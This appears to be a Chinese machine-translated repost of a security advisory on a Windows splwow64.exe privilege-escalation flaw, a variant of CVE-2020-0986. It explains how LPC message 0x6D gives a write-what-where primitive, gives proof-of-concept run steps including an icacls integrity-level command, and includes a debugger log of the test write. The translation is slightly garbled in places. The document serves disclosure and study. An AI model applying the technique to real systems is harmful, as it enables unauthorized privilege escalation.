Windows: splWOW64 权限提升
平台:
Windows 10 2004 (19041.508) Windows 10 2004 (19041.508)
类。特权的提升
摘要:
在野外被利用的CVE-2020-0986[1]没有被修复。该漏洞仍然存在,只是利用方法不得不改变。
一个低完整性的进程可以向splwow64.exe(中等完整性)发送LPC消息,并在splwow64的内存空间中获得一个写什么什么的基元。攻击者通过memcpy调用控制目标、复制的内容和复制的字节数。目标指针计算的偏移量只约束为。
偏移量<= 0x7FFFFFFF
偏移量+结构的感知大小 <= 0x7FFFFFFF
Splwow64将LPC消息传递给GdiPrinterThunk。脆弱的memcpy在消息0x6D中。
与CVE-2020-0986的唯一区别是,对于CVE-2020-0986,攻击者发送的是一个指针,而现在攻击者发送的是一个偏移量。
https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/
概念验证
附上的是一个将0x42424242424242写入0x41414141的POC。附上Visual Studio项目。它必须以x64版本的方式构建才能工作。调试构建将无法连接到LPC端口。
一旦POC构建完成,运行以下命令将其完整性级别设置为低。
icacls splwow64_poc.exe /setintegritylevel L 完整性级别。
将CreateDC.exe移到与splwow64_poc.exe相同的目录中。CreateDC.exe只是一个x86应用程序,它调用CreateDCA来启动splwow64.exe。为了方便起见,我还将CreateDC.exe包含在项目的x64/Release目录下。
CreateDCA("Microsoft XPS Document Writer","Microsoft XPS Document Writer",0,0)。
然后通过点击图标或从cmd行运行POC。(如果你从Visual Studio运行,它不会找到CreateDC.exe):splwow64_poc.exe。
该POC改编自卡巴斯基发布的CVE-2020-0986的POC。它两次触发了memcpy漏洞:先是泄露消息存储的堆地址和偏移量加到什么地方生成指针,然后再进行写什么什么地方。
Debug Log:
Breakpoint 0 hit
gdi32full!GdiPrinterThunk+0x68f:
00007ffb`3de8a51f e8efaf0000 call gdi32full!memcpy (00007ffb`3de95513)
0:007> r
rax=00000000024e6810 rbx=00000000024e66c0 rcx=0000000041414141
rdx=0000000000b20200 rsi=0000000000b20088 rdi=0000000000000000
rip=00007ffb3de8a51f rsp=000000000245f760 rbp=0000000000000001
r8=0000000000000008 r9=0000000000000020 r10=00000fff637551fd
r11=2000000000000000 r12=00007ffb1baa8fe0 r13=0000000000785560
r14=000000000072d2d0 r15=00007ffb3de60000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
gdi32full!GdiPrinterThunk+0x68f:
00007ffb`3de8a51f e8efaf0000 call gdi32full!memcpy (00007ffb`3de95513)
0:007> dp rdx
00000000`00b20200 42424242`42424242 00000000`00000000
00000000`00b20210 00000000`00000000 00000000`00000000
00000000`00b20220 00000000`00000000 00000000`00000000
00000000`00b20230 00000000`00000000 00000000`00000000
00000000`00b20240 00040004`00000000 00000000`00000000
00000000`00b20250 00000000`00000000 00000000`00000000
00000000`00b20260 00000000`00000000 00000000`00000000
00000000`00b20270 00000000`00000000 00000000`00000000
0:007> g
(3268.2e88): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ucrtbase!memcpy+0x8b:
00007ffb`3e3e836b 488908 mov qword ptr [rax],rcx ds:00000000`41414141=????????????????
参考文献:
https://bugs.chromium.org/p/project-zero/issues/detail?id=2096
https://googleprojectzero.blogspot.com/p/rca-cve-2020-0986.html
https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/
https://www.anquanke.com/vul/id/2035005
本文始发于微信公众号(Khan安全团队):CVE-2020-0986 Windows: splWOW64 权限提升
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论